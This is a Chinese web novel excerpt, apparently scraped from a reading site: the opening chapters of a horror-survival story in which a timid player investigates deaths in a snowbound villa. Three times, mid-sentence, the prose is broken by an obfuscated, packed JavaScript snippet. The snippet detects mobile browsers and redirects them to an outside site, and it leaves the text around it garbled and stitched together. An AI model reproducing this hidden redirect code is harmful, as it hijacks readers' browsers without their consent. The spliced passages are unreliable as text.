《娇弱求生指南[无限]》 1. 诡谲别墅(1) 「这是一个奇怪的别墅,来到这里的人脑中都会不自觉地蹦出这个想法。」 「夜晚的敲门声、死去的黑狗、和别墅里阴森的地下室似乎都预示着这里的主人一家隐藏着秘密。」 「被困在暴风雪里的一行人决定探寻别墅里的故事。」 「可朋友们却一个又一个地失踪……」 「欢迎来到『诡谲别墅』。」 终于从混沌中脱离出来,应怜不适应地眨眨眼,接收着四周的景象。 屋内被炉火烤出温柔的橘红色,洁白的地毯、田野的画作、柔软的沙发和悠闲的朋友,丝毫看不出这是个恐怖逃生游戏里的一个位面。 「在副本开启的5天内存活则视为通关。」 应怜扭头看向窗外,外面正下着大雪。 “喂,应怜。”一个红发雀斑女人叫了她一声。 此时应怜才发现自己是跪坐在地上的,因为有地毯,所以感觉不到寒冷,只是腿因为长时间的跪坐在发麻。 “怎么?我叫你没听见吗?”女人立刻凶恶起来,朝着应怜瞪眼。 应怜不自觉地咬了下唇,紧张地问:“怎、怎么了?” “你怎么说话的!”没想到听了应怜的回答,红发女人看起来更愤怒了,“你不过是区区平民!怎么敢和我这么说话?” 「身份。」脑内突然传来提示。 应怜眨眨眼,接收了一下现在的基本信息。应怜,一个每天被千金和少爷压榨的穷人女孩。 而这些富人家的孩子是从小的玩伴,从小就以欺负应怜为乐,平日里出来玩也从来不带别的佣人,只找来应怜随意使唤。而这次,便是几位少爷小姐相约滑雪,却突然遇上了暴风雪困在山上借宿别墅的背景。 “是的,欧莉娅小姐。”应怜了解了自己的新身份,乖乖垂下头,几缕黛色发丝也跟着轻晃。 乖顺的模样安抚到了欧莉娅,她清了清嗓子,像只骄傲的孔雀:“我本来该为你的不懂事惩罚你这个愚蠢的仆人,你要懂得感恩。” 「谢谢你。」应怜没再去注意欧莉娅的碎碎念,给刚刚友好提示她的系统道了谢。 紧接着应怜就开始了头脑风暴——现在应该是暴风雪稍缓的时候,几位少爷小姐发现了这栋别墅,他们看到这栋别墅的门没有关,理所应当地住了进来。 根据最开始的提示,这别墅应该是有主人的。 逃生游戏如题,就是在限定时间内逃出游戏,并在限定时间内尽可能地复盘出整个故事,复盘得越完整,得到的奖励越丰厚。 像这样外面一直是暴风雪的天气,普通人绝对无法逃出的环境,游戏的通关目标就会从逃出改为存活。 “差不多到了我要睡觉的时间,去给我铺床吧。”欧莉娅悠闲地闭着眼睛,理所应当地指使着应怜。 应怜应声后,走上别墅二楼。 「我是不是可以搜查东西?」应怜进到拐弯的第一个房间里。 「可以。」 「好。」应怜看向主卧墙上挂着的全家福,又想起了什么一样添了句:「谢谢你。」 系统虽然冷淡,但有问必答,应怜希望能和要长期相处的系统把关系搞好。 这张全家福上有三个人,一位黑发黑瞳的女性,一位金发碧眼的男性,和一位同样金发碧眼的少年。 成年男性穿着老一辈才会穿的传统西装长裤,坐在椅子上,不苟言笑。女性穿着中世纪长裙,紧紧挨着男性而坐,朝镜头温柔地笑着。只有小男孩站着,用一种几乎漠然的目光盯着前方。 是错觉吗? 应怜收回视线,局促地眨了眨眼。 她总觉得那幅画里的三个人都在盯着自己。 不过应怜没有关注全家福太久,她看了柜子里的衣服,柜子分成两列,一列大概是成年男性尺寸的衣服,另一列则是成年女性尺寸的衣服。而上面的隔柜里都是换季穿的衣服。 “看来这里是主卧,是这对夫妇住的地方。”应怜判断道。 应怜接着又快速检查了化妆桌、床头柜一些地方,都只是一些普通的生活用品。 没什么发现的应怜只好把被子撑开,准备给欧莉娅整理床铺。 “啪嗒——” “啪嗒啪嗒啪嗒啪嗒——” 看清是什么东西卷在被子里后,应怜脑子一片空白。 怎么会?! 等应怜回过神之后,她发现欧莉娅已经不耐烦地找了上来,她质问:“这么久了你怎么还没铺好我的床?” “那、那里……”应怜白着脸指向了被她下意识丢出去的被子上。 欧莉娅生气地抓住了应怜的头发,“好啊!你竟敢把被子丢在地上!你这个恶毒的女人!我要把你丢出别墅让你冻死在外面!” 她依旧惨白着脸摇头像是对头上的刺痛毫无所觉,显然还没从刚刚的事情里脱离出来,“你、你掀开被子。” 欧莉娅显然不会听应怜的,她拽着应怜的头发走到了被子面前,质问道:“我看你是藏了什么吓唬我的东西在这底下吧!你现在立刻自己掀开!” 刺痛感总算让应怜回过神,她轻微地挣扎了一下,痛感刺激着泪腺运作,但却因为太过害怕眼泪都不敢掉出来。 最后应怜忍着恐惧,轻轻扯开了被子的一角。 欧莉娅惊诧地睁大双眼,尖叫出声。 被子包裹着的,是各种各样恶心的虫子尸体,那像是放了好久,腐烂恶臭的味道刚掀开就弥漫整个房间。 眼泪终于夺眶而出。 “怎么了!欧莉娅!”几个男人急忙赶来,目光却不自觉地看向跪在地上的应怜。 泪珠滚滚。 柔弱的人永远是能最先引起同情心的存在。 几乎是本能,艾布纳立刻半跪在应怜身边,伸出了手。 应怜明显还没从刚刚的恐惧里走出来,连扮演小仆人的任务都忘记了,迫不及待地抓住了唯一的稻草。 而在艾布纳的眼里,她就像一只灰扑扑的小猫,露出害怕的神色希望得到一点垂怜。 事实证明,应怜得到了。 “你还好吗?”艾布纳体贴问道。 欧莉娅疯狂尖叫着,“你在做什么!艾布纳!” 艾布纳连一个眼神都吝啬看过去,他淡淡解释道:“正如你所见,应怜被吓到了,我只是想帮她一下。” “我不允许!”欧莉娅被恶意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949842|177509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒙了心,她长长的红指甲指向应怜,又指向那滩虫子,“你知道这个恶毒的女人做了什么吗!她竟敢往我的被子里放虫子!” 旁边的男生卡特笑着劝道,“怎么会是她做的呢?你瞧,她都被吓傻了。” “怎么不是她!”欧莉娅拔高了音量,刺耳的声音刮擦着全场人的耳膜,“我只是让她来帮我收拾房间,她就想偷偷报复我,在我的床上放虫子!” “证据呢?”艾布纳冷静地问。 这一句话让几乎暴走的欧莉娅愣住了,“什么证据?” “你说她放了虫子,证据呢?” 欧莉娅咽了咽口水,刚刚的怒意又悄悄席卷,“艾布纳,你竟然为了一个小小的平民质问我?” “我在问你正事。”艾布纳几乎在叹息,接着他又问:“你上楼的时候,你亲眼看到应怜在放虫子吗?还是只是看到她害怕地呆坐在地上?” 脑子开始不受控制的回想那时候的事,欧莉娅死死咬牙,可恶,她真的没办法证明是应怜放的。 见她不说话,艾布纳也猜了个大概。 紧接着,艾布纳轻轻捧起应怜的手,“你看到的只是应怜害怕地坐在地上。你不知道她是真的害怕,还是藏完虫子的后怕。如果她动过那些虫子,她的手指上或者手指甲里应该会有一些虫子的液体和碎片。”他顿了顿,“但现在,应怜的手上干干净净。” 应怜垂着的头慢慢抬起,紧张地眨了眨眼。 卡特也适时捂鼻子,“这虫子的味道太重了,起码是一个月以前死在里面的。” 听到一个月时,几人都不免沉默了。 过了一会儿应怜像是才反应过来一样,惊讶地看向画像。 ——这滩虫子,只会是画像上三个人放的。 从刚进屋子就一直没说过话的罗珀的目光一直放在那幅全家福上,片刻后说:“今晚换个房间睡吧。” “这家的主人似乎不太希望我们住下来。” 这个人就像整队的主心骨一样,他一开口,所有人都默许了。 欧莉娅狠狠剜了应怜一眼,最终还是点头了。 紧接着,欧莉娅和应怜分别又去了两间空着的客房。 本来因为这件诡异的事,少爷们都希望欧莉娅能和应怜在一起睡觉,但欧莉娅的公主病犯了,誓死不和平民睡在一起,他们这才作罢。 应怜没什么想法,只是有点可惜现在的信息太少了,她非常被动。 夜晚,睡着的应怜隐约听到了系统说话的声音。 「在一个惴惴不安的夜晚里,别墅里的怪事出现了……」 “欧莉娅!”应怜是被一道尖叫声吵醒的。 她皱着眉下了床,因为光线昏暗衣服都穿了好久,等她找到声音源头的时候,所有人都聚集在大门门口。 欧莉娅只穿了一件睡裙跪坐在门外,脸上面带笑容。她的皮肤呈惨黑状,几乎看不到任何血色。 “欧莉娅你还好吗?!”加尔声声哭喊。 「加尔暗恋欧莉娅。」系统提示。 应怜压抑住想要尖叫的恐惧,颤声问道:「她、她还好吗?」 「死了。」系统冷淡的声线刺入耳膜。 2. 诡谲别墅(2) 加尔若有所觉地回头,双目赤红地蹬向刚来的应怜。 “是不是你!是不是你这个恶毒的女人害死了我的欧莉娅!”他吼叫着,就朝应怜冲过来! 应怜心头一紧,下意识朝后退了几步,却不小心被茶几绊住,跌倒了。 “不、不要!”因为刚醒,她的嗓子还微哑着。 脖子被轻易地掐住了。 空气被剥夺,应怜的脸立刻红上了两个度,她挣扎着想要扒开加尔的手,漂亮的脸上染上痛苦的神色。 「提示!提示!玩家安全受到威胁!请立刻自救!请立刻自救!」 系统提示音吵得应怜混乱,她张了张嘴,艰难地想要说些什么。 她想说不是她害死的欧莉娅,想说先冷静一下,想说她没有杀人,想说救救她,有没有人能够救救她? 最先是卡特反应过来,他立刻想要拽开两人,“喂!加尔!你冷静一点!” 但他的动作并没有起太大效果,应怜依旧呼吸不畅。 就在她已经下意识减弱呼吸的时候,忽然感到一阵狂风扫过侧耳! 她微微睁眼,看到了近在咫尺的艾布纳。 是他踹向了加尔的下腿。 接着,加尔一个踉跄,手上力气松开,整个人扑到了应怜的身上。 暗香浮动,和市面上的任何一种香水都不一样,不刺鼻,像她人一样干净清澈。 就在他不自觉想继续靠近一些的时候,他感觉被自己圈住的女孩抖了一下。 像小兔子被吓到的样子。 加尔猛然顿住。 应怜被放开的时候有一瞬间迷茫,接着如同好久不入水的小鱼一样大口大口地呼吸,又因为过猛的呼吸开始急促的咳嗽。 再后来卡特已经把加尔推开了。 “呜……”应怜想说些什么,刚说话就不自觉地哽咽,接着她就真的哭出来了。 应怜的哭一直是安静地哭,是胆小怯懦地哭,才刚来游戏不到半天,就已经哭了两次。 她不知道自己是怎么来到这个游戏里的,她只能乖顺地被欺负、被拽头发、被动地接受保护,甚至被动地接受死亡亦或是活下去。 她连哭出声的勇气都没有。 “别、别哭呀……”卡特也显得非常无措,再迟钝的人都能发现应怜现在的状态不对劲。 艾布纳愣着盯了应怜许久才回神,伸出手想要扶起应怜。 应怜吸了吸鼻子,“离我远一点。”这句话是对所有人说的。 艾布纳不再继续伸出手。 她的肩膀还在微微颤抖,似乎因为她第一次说出这么重的话。 真是可怜。艾布纳如此想着。 卡特默声片刻,拽着加尔走远了。加尔愣着神,不知道是还没从暗恋的人突然死亡的打击里缓过来,还是在想那个称不上拥抱的拥抱。 等应怜冷静下来之后,大门处已经只剩下罗珀和她了。 “好点了吗?”罗珀问。 应怜没想到他会先出声,她犹豫着点点头,不知所措。 等意识回笼,面对现在只剩两人的状况,应怜有些尴尬地垂下头,不想和罗珀对视,在不熟的人面前哭泣总会有几分难以言喻的羞耻感。 “我需要问你点事情。” 罗珀的音色没有任何起伏,平淡地像电子音,“半夜十一点半到凌晨两点这段时间,你在哪里?” “我一直在睡觉。” 这种很严肃的氛围下,很像是主线故事要开始的预兆。所以应怜抛弃了那点自己的羞耻心,摆正好心态回答了他。 “有听到什么声音吗?” 考量着人物特性,再不喜欢加尔的应怜也只能用上了尊称,“只有加尔少爷喊的欧莉娅被我听到了。” 他沉默,似乎在思考这番话地可信度,接着抬头指了指倒在地上的欧莉娅,“正如你所见,欧莉娅死了。” “她死在门口,还有些风雪埋住了她的一些身体。尸体还没来得及检查。”他没顾上安慰脸色惨白的应怜,接着说:“风雪太大,外面没有留下任何痕迹。欧莉娅想自杀——这不可能。欧莉娅不小心把自己冻死了——这更不可能。排除自杀和意外两种可能后,只有最后一种可能。” 是他杀。应怜默默在心里补充。 “所以我有两种猜测。第一种,半夜起来的欧莉娅因为某种原因要出去,她去开门时发生了什么,外面有什么东西或者人导致了她的死亡。” 罗珀看了应怜一眼,“第二种,我们之中和欧莉娅有过矛盾的人,一气之下做了些什么,伪装成了像外面的人动的手脚一样。” 这里唯一和欧莉娅有过冲突的人大概就是应怜自己了。 忽然被怀疑成杀人凶手,应怜愣了片刻,没有反驳。 “为什么不说话?”罗珀问。 到现在应怜还没从地上站起来,一直保持着半跪的姿势。 “因为你推理得没有破绽。”她垂着眸,一点点解释,“这种天气下没有正常人会在暴风雪里,你说的第一种可能几乎等于没有。最有可能杀了欧莉娅小姐的是我。” 应怜没有生气,她还客观地分析了现状。虽然自己没有杀人的清白很重要,但与其和npc理论,她更希望搞清楚现状保护好自己。 停顿片刻,应怜继续问:“可以告诉我你们发现她的时候是什么样的吗?” “……最先看到尸体的是加尔,准确来说,我们都慢他一步。”他盯着应怜,缓缓回答了问题,“那时候我们商量着要做些宵夜,因为玩游戏玩累了。” “虽然加尔提议让你来做,不过被艾布纳坚决的拒绝了。两个人吵了一架,加尔就先离开了。”说到这里,他也停顿了一下。 与此同时应怜也抬头看向他,似乎在疑惑为什么突然沉默。 紧接着,罗珀向应怜走了两步,他的身子微微下探,使得他和应怜之间的距离只有短短的几公分。 而后罗珀挑起了应怜的下巴,他垂眸,用贵族看路边流浪小猫的眼神仔细观察着应怜,轻启唇齿:“以前怎么没发现,你这张脸还有勾人心魂的作用?” 应怜张了张嘴,想说些什么。 接着,这奇怪的氛围被外面的一声犬吠打断了。 应怜习惯性地朝外看去。 由于门一直没有关上,所以他们轻易地看清楚了来着。 一只大黑狗正对着罗珀龇牙咧嘴地叫着,它赤红的眼珠里隐含着警惕,仿佛下一秒,它就会冲上来撕碎所有人。 更精确来说,是撕碎罗珀。 他眯起眼,那只本勾着应怜下巴的手转而把应怜拉起身,还往身后送了送。 “这只狗有问题。”他左手抽出左轮,上好膛后默默瞄准了狗的脑袋,“你去叫人。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949843|177509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 熟练地不像个少爷。 应怜慌忙地点点头,又怕惊动那只狗,只好用极轻的脚步走向楼梯。 罗珀死死皱着眉。 说是极轻,其实发出的声音在灵敏的狗听来已经很大了。 但出奇的是狗依旧保持着刚刚的姿势,仿佛眼里只有罗珀这一个入侵者。 正思索着其中的不对劲,他突觉一阵疾风袭来! 身体比大脑反应更快,早已习惯性地侧开了身。而等他再看过去刚刚的地方。 只见刚刚罗珀待的地面处早就被坚硬的狗爪抓破了! 他也分了出心神去观察楼梯上的情况,应怜不知道什么时候已经离开楼梯了。 但凶恶的猛兽不会给罗珀任何反应的时间。 一次突袭不成就会有第二次。 而罗珀也将原本对准脑袋的枪瞄准了狗的下肢,极其迅速地开了枪。 “嘭!” 打到了。 刚要缓口气的罗珀连呼吸都没调匀就猛地感到肩上一阵冲击。 黑狗赤红的眼睛不知何时已经只与他有几寸之隔。而他的肩,也被狗爪上的指甲死死扣住,并且还在不断收紧。 不可能!他明明打到了…… 还没来得及往下想。 又是“嘭”地一声! 脑浆开花。 不过是黑狗的。 罗珀大口大口地喘着气,慌忙地推开了刚刚倒在他身上的黑狗尸体。 接着他看到,从楼梯上不紧不慢走下来的艾布纳和应怜。 艾布纳优雅迅速地收了枪,金黄色的头发显得格外刺眼,像是童话里会披荆斩棘的英雄骑士。而应怜就躲在他身后。 “没事吧?罗珀。”艾布纳问。 他也很快反应过来,查看了身上被黑狗划出的几道伤口,没有毒。 “还活着。” 应怜默默看着地上的狼藉,有些感慨。 「他们手里全都有枪啊。」 「嗯。」系统淡淡应声。 接着,艾布纳先看向脸被冻红的应怜,再看回几乎要熄灭的炉火,“我先把门关上了。” 欧莉娅的尸体被艾布纳无情地踹了出去,然后关门调整炉火一气呵成。 而罗珀正检查着黑狗的尸体。 看到他左腿里还没取出的子弹,他的表情变得极其难看。 “把所有人叫过来。”他抬头,看到跟在艾布纳身边的应怜,突然皱了皱眉。 应怜在这种危险刚过的时候也没心情在意被使唤的事情,她点了点头转身要走。 在走近到罗珀身边时,他突然开口问了个奇怪的问题:“你刚刚……为什么叫来的是艾布纳?” 这个问题的答案很简单。 因为人会下意识找到自己信任的人寻求帮助。 而刚好,如同骑士一般的艾布纳是应怜来到这个副本后对应怜释放善意最多的人,应怜也习惯于信任对她好的人。 她眨了眨眼,用依旧温和的语气笑着反问:“难道我会叫来加尔少爷吗?” 接着就快步离开了。 等所有人到齐,都坐在沙发上,罗珀蹙紧眉头,其他人的表情也都不轻松。 炉火滋滋作响,偶尔还会迸溅出丁点儿火星。 “是的,如我们所料。” “这幢雪中别墅并不正常。” 3. 诡谲别墅(3) “这不可能吧……”卡特最先开口,“狗的大腿被子弹射中,动作还没有丝毫迟缓。这根本就是不可能的事。” 即便再不可能,狗腿上子弹残骸就摆在桌上。 卡特有些怀疑地问:“会不会是手枪威力不够……” “沙|漠|之|鹰,能够干掉一头成年大型犀牛。”罗珀干脆把那把左轮手枪拍到桌子上,手枪摔到桌子上,造成沉闷的响声,“而且你认为,以我的身份会拿次品枪吗?” 这下卡特不再敢说话了。 “他不仅没有痛觉,甚至骨头也不像普通的动物。”艾布纳盯着那只腿沉思片刻,继续说:“如果是一只正常的狗,以你和他的距离,你的子弹会击穿过去。” 四个男人的脸色都算不上好看,因为应怜是唯一的女性,他们这里还放着恐怖的狗尸体,艾布纳就坚持让应怜回去了。 一直没说话的加尔突然抬头,他的眼里还有可怖的红血丝,明显是被卡特带回去后也没休息好,“会是应……她干的吗?” “……”罗珀颇为烦躁地抓了抓头发,“你觉得可能吗?” 一时间,所有人都沉默了。 这并不是他们第一次聊到应怜,在前几个小时玩游戏的时候,他们不可避免地提到了应怜。 那是卡特开的一个恶俗玩笑。 “提问在场所有人同一个问题,如果说必须从欧莉娅和应怜之中选一个人接吻,你们会选谁?” 最先回答的是加尔,他摆出嫌弃的表情,“不要把低贱的平民和欧莉娅小姐放在一起对比。” 无疑,他的选择出来了。 接着是罗珀,他两只腿交叠在一起,明明只是穿着家居服却给极其有贵气大少爷的架子,话里还算带着些平和的语气:“为什么要让我从两个蠢笨的女人里选择呢?” “应怜并不是被选择的商品,她是独立的人。” 最后开口的是艾布纳,他平静地说出了让在场人为之一惊的话语。 这也难得让加尔觉得有些羞愧,明明他是深深喜欢着欧莉娅的,然而他也在卡特的问题下把欧莉娅当成了商品,并且是最喜爱的、喜爱到不想亵渎的商品。 羞愧的情绪过后就是恼怒,他找补着:“嘿,如果你把主语换成欧莉娅小姐我倒容易接受一点。” 然而艾布纳看都没看他,把他当空气。 恼火,极其的恼火。 不过是家世显赫,就把他说的话不放在眼里,还对区区平民有了好感。 “……大家饿了没?干脆把那个平民叫醒,给我们做点饭吃吧。”但是他无法把怒火直接的发泄在艾布纳身上,他就只能欺负那个没背景的平民。 卡特刚好也饿了,他刚想附和。 就看见艾布纳眼神里露出几分轻蔑,他轻笑,说出的话和温润的长相一点都不相符:“你也配。” 接下来罗珀在看戏,卡特当中间人调和,事情才没有闹至打起来。 他们的宵夜也没有吃到。 而在加尔愤愤离开的时候,他突然觉得别墅里有点冷,于是下意识地看向了门口…… 罗珀向应怜转述这件事的时候还是比较委婉的,没有把矛盾激烈的对话一一复述。即便那样的简述在一定程度上美化了在应怜心里艾布纳的形象。 “都饿了吧。”回到现在,艾布纳突然开口,并没等几人的反应转身走了出去。 卡特习惯性跟出去,有些迷茫:“等、等等,你是要去做饭吗?” —— 在应怜被要求上楼休息后后,她急匆匆地往房间里赶。 不过并不是自己的房间。 她没记住他们的房间分布,只能一件一件地去查看。 上楼后第一个房间就是主卧,是一床虫子的房间。应怜已经见过了。 接下来她继续往前,打开了第二间的门。 刚进房间就能闻到玫瑰熏香味,即便房间大体和应怜的差不多,但依旧能看见几个不认识的高级货。这里是欧莉娅的房间。 应怜还是像第一次查房间一样,先打开了衣柜。 衣柜和主卧的一样大,能容纳两个人。里面的衣服明显要比主卧衣柜的衣服低几个档次,这是很明显的客房。并且衣服也有很多尺码,大概是给突然留宿的人住的。 临着欧莉娅房间的就是应怜的房间,应怜突然想到罗珀一开始对她的怀疑,如果要动手的话确实她的房间离得近,更加方便。 几个男人在闲聊游戏,几乎没有作案时间。 而应怜又恰好地睡得很沉,没听到欧莉娅离开房间的声音。 应怜都觉得自己可疑。 揭过应怜自己的房间,第四间房,也是艾布纳的房间。 应怜进门就注意到了一个他们屋全都没有的书桌,虽然床是一样大的,但衣柜的尺寸变小了,布局上很像一个儿童屋。 她思考着走到书桌前。 书桌上面很整齐,只放了几本书。下面是个可抽拉的抽屉,她拉开学习椅,把抽屉拉了出来—— “!!!”应怜眼睛睁大,死死地捂住了嘴。 那是一个戴着金色锁子的透明玻璃柜。 而里面,是摆放整齐的数把手枪! 一个儿童的屋子里放满了手枪,发现了这一线索的应怜头皮有些发麻。 也因为太过惊诧,她没注意到有人从她没关的门里进来了…… “那是全家福里的孩子的东西吧。” 几乎紧贴着她的耳垂,来人用低沉的嗓音同她解释,又像情难自抑一般蹭了蹭她的耳垂。 应怜吓得一激灵,急忙想转身。 还没转过去,自己就被来人圈在了怀里抱到了床上。 “!艾、艾布纳……”她反应过来抱着自己的人是谁。 被叫了名字的艾布纳轻轻嗯了一声,依旧没有放手,整个脑袋埋进她的颈窝里,应怜的脖子被他温热的呼吸染了一大片红晕。 而始作俑者似乎犹嫌不够,脑袋又往里蹭了蹭。 先是挺直的鼻梁的接触,接下来是柔软的的嘴唇,像轻啄、又像是亲她纤细的脖颈。 不知道这样又亲又蹭又抱的动作持续了多久,应怜才大着胆子推了他一下。 艾布纳倒也算乖,被推了真的就忍着不继续蹭上来,只是眼神晦暗不明。 “怎么来我房间了?”粗重的喘息声让艾布纳看起来不似平常,因为背对着,应怜看不见他的表情,“屋里全是你的味道。” 睫毛颤了颤,应怜偏了下头,无辜且惹人怜爱的那双眼睛和艾布纳对视上。 艾布纳停了片刻,哑着嗓子说了声抱歉,就亲上了应怜的唇角。 他先是试探般地舔了一下,看应怜没有拒绝,他又大着胆子往前试探。 「……宿主!」实在看不下去的系统终于出声。 应怜又被吓得一激灵,她急忙伸出手阻止艾布纳,她红着脸,不敢去和艾布纳对视,“不要亲……” 即便那听起来没有任何威慑力,但艾布纳还是听进去了。 “那让我抱一会儿,可以吗?” 应怜胆子小,还好哄。对于强硬的人她不敢拒绝,别人稍微放软点语气她就也不会拒绝了。 她只能慢慢地点了下头。 等意识逐渐回笼,她才注意到从刚刚开始艾布纳紧实有力的肌肉就贴着她。 缓慢的、灼热的、连带着她自己都觉得有些燥热。 “……!”后知后觉反应过来他们现在在做什么的应怜脸噌地一下红了。 她挣扎了一下,没挣开。 如果只是普通的拥抱应怜也不会拒绝,但明眼人都能看得出现在气氛地暧昧缱绻。 应怜听见身上的男人轻喘了一声,嗓音和不久前一样撩耳,却又带着些不同寻常的意味,“你同意过的……不可以走。” 似乎是因为应怜想离开而不满,他抱得更紧了。 不懂拒绝门道的应怜就只能这样红着脸被刚见面没多久的男人一直抱着,连反抗都不知道。 应怜胡乱在心里安慰着自己,毕竟是自己的救命恩人,抱一会儿就抱一会儿吧。 不知道艾布纳抱着她到底吸了多久,久到卡特都觉得不对劲,步伐紧快地走上楼。 “艾布纳——?”他从楼梯处就开始大声喊着,“不是说就给那小姑娘送个饭就下来吗?怎么去了这么久。” 两人顿了顿。 应怜第一反应又是推开艾布纳。 这次轻松地逃离了。 接着她意识到不妥,孤男寡女共处一室,被单因为刚刚的事情皱成一团,尤其是应怜脖子早就被艾布纳蹭红了一片。 并且除了那个地方之外无处可藏。 本能的,应怜往衣柜里钻。 衣柜尺寸虽然比主卧的小,但容纳应怜还是绰绰有余。所以应怜很轻松地钻了进去,并且只占了小半个柜子的地方。 柜子上面悬挂着的衣服全都被推向一侧,明明还有挂东西的地方,一条毯子却没被挂起,反而整齐地放在柜子底,就像是专门放在那里,等着人钻进柜子前铺好的毯子一样。 她没想明白为什么钻进柜子里。 但起码柜子这个私人空间终于给了她可以思考的富余。 明明画像上看起来不过是个年纪不大的孩子,书柜里封锁起来的枪却有那么多把,并且就应怜见过的沙|漠|之|鹰对比,那些全都是成人型号的枪械。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949844|177509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应怜没拿过枪,但她也见过猪跑,知道这种枪绝对不轻便。 一个小孩子或许能拿得起来这把枪,却拿不稳。 可他却有这么多把,显然是习惯用枪,并且技巧非常纯熟。 结合那张和主卧一样大小的床,应怜隐约想到了什么。 或许,这个孩子已经长大了? 为了印证自己的猜测,她的目光看向了身边挂得整齐的衣服。 她原本把衣柜门关得很死,是艾布纳怕她闷坏帮她开了个小缝,光亮也从小缝中透过,这才能让她看清。 果不其然,是成年款。 衣服上没有灰尘,干干净净。 艾布纳会扫地做饭之类,但大概不会替这家的主人打扫他的衣服,所以这大概率是他们来到别墅不久前的“孩子”自己打扫的。 终于抓住一点线索的应怜忽地生出一些成就感,连自己现在的处境都忘了大半。 直到卡特走到了艾布纳房间门口。 “你在这啊。”卡特并不追究艾布纳听他喊了一路却没有一句回应的事,似乎是早就习惯了他这冷淡的性格,“你守着衣柜干什么?要换衣服吗?” 门外的声音终于唤回应怜的意识,她下意识朝外看去。 帮忙开小缝的艾布纳并没有离开,而是垂着眸透过缝隙看着笼中雀一般的衣柜少女。 “……嗯,杀狗的时候溅上血了。”艾布纳仗着卡特没见到他杀狗的时候是在楼梯上杀的,张口就来编好了谎话。 卡特表示对大少爷的洁癖性格理解,又问:“应怜呢?我刚刚找你去看了她的房间,除了你放在那的夜宵之外什么都没有。” 这栋别墅里的屋子只有内锁,外面的钥匙几个人并没找到,也就是只要屋里没人就可以随便进出。 这也是应怜能轻松进房间的原因。 “去卫生间了。”艾布纳继续面色不变地扯谎。 “哦哦,那你快点下来,罗珀说这里不太对劲,在收到救援之前,我们大概要轮流守夜了。” 现在并没有那么发达的通讯设备,只要一场暴雪就能阻隔掉所有联系。 俗称,暴风雪山庄。 在柜子里的应怜无意窥见了几位少爷接下来的准备。 不同于应怜以前看过的恐怖片,这里的主角明显要敏锐很多,也或许是来的当晚就死人根本没办法让人继续享受“度假”。 守夜。 一个几乎一定会遇到危险的名词。 但又同样代表着复盘故事的更多线索。 “……”应怜在心里盘算着让几位少爷信任她,带着她一起轮流守夜的几率有多大。 艾布纳这里大概没问题,卡特应该也无所谓。难办的是加尔和罗珀。 由于再一次陷入思考,应怜没注意到卡特已经离开,这里又只剩了她和艾布纳。 外面的人轻声询问:“卡特走了,我可以打开柜子了吗?” 里面的人回神:“可以。” 明明不算新的柜子却异常结实和安全,就连开关柜门都发不出吱呀声响。 “记得吃点东西,今晚好好睡一觉。”艾布纳开了柜门,又不只是开柜门,他并没有强势地把应怜抱出来,而是自己钻进去。 柜子大,又没有那么大。 艾布纳一钻进来就显得十分狭窄,再没有容纳第三个人的空隙。 他没再做什么出格的事,只是把应怜有些遮视线的头发挽到耳后,“不要害怕,我会保护好你的。” 几乎强有力的承诺,完全针对于不知道怎么死去的欧莉娅。 “你相信我不是凶手吗?”应怜有些意外。 “嗯。” 他没有多解释什么,只是给了一个坚定而信任的回答。 即便知道这只不过是游戏副本里的npc,被信任的感觉总归是不错的。 等艾布纳下了楼,应怜终于从柜子里走出来。 许久没开过口的系统声音显得有几分奇怪,「宿主?」 「怎么了?」应怜有些意外,没想到他会主动找自己搭话。 「……您应该学会反抗。在副本里也要保护好自己。」从没带过其他玩家的系统不知道这样的提示到底在不在系统职责范围内,但他还是觉得和前辈所讲的不太一样。 原本被刻意遗忘的事被没有眼力见的系统提起。 应怜脸皮薄,就算知道系统只是一些类似电脑的东西也脸红了,但她还是有点委屈,「我反抗过了……」 系统一时语塞。 在他印象里,前辈们带的玩家的反抗都是拿起枪打爆npc的头,而自己带的玩家的反抗…… 是像猫儿一样的推搡。 4. 诡谲别墅(4) 因为今天遇到了太多事,应怜睡的不算好。 梦里不仅有被艾布纳杀死过一次的黑色的狗还魂、死去的欧莉娅用湿冷的目光盯着她,还有她连面都没见过的别墅小主人拿着枪,直指她的眉心。 应怜从没想过枪的洞口能这么黑。 男人似乎很高,从暴风雪里来却只穿了一身纯黑风衣,他的脸被阴影覆盖,应怜却能想象到他现在面无表情的样子。 至于为什么能第一眼就这是小主人,应怜说不清楚,就像是游戏里你一眼就能认出谁是真正的男主和反派一样。 他就属于那个反派。 他并不开枪,应怜也不敢动。 于是下意识的,她抿紧了自己的唇,手心也全是用力握紧留下的冷汗。 梦里的应怜感受不到疼痛,就更努力地掐手心、咬嘴唇,期盼着自己能脱离噩梦。 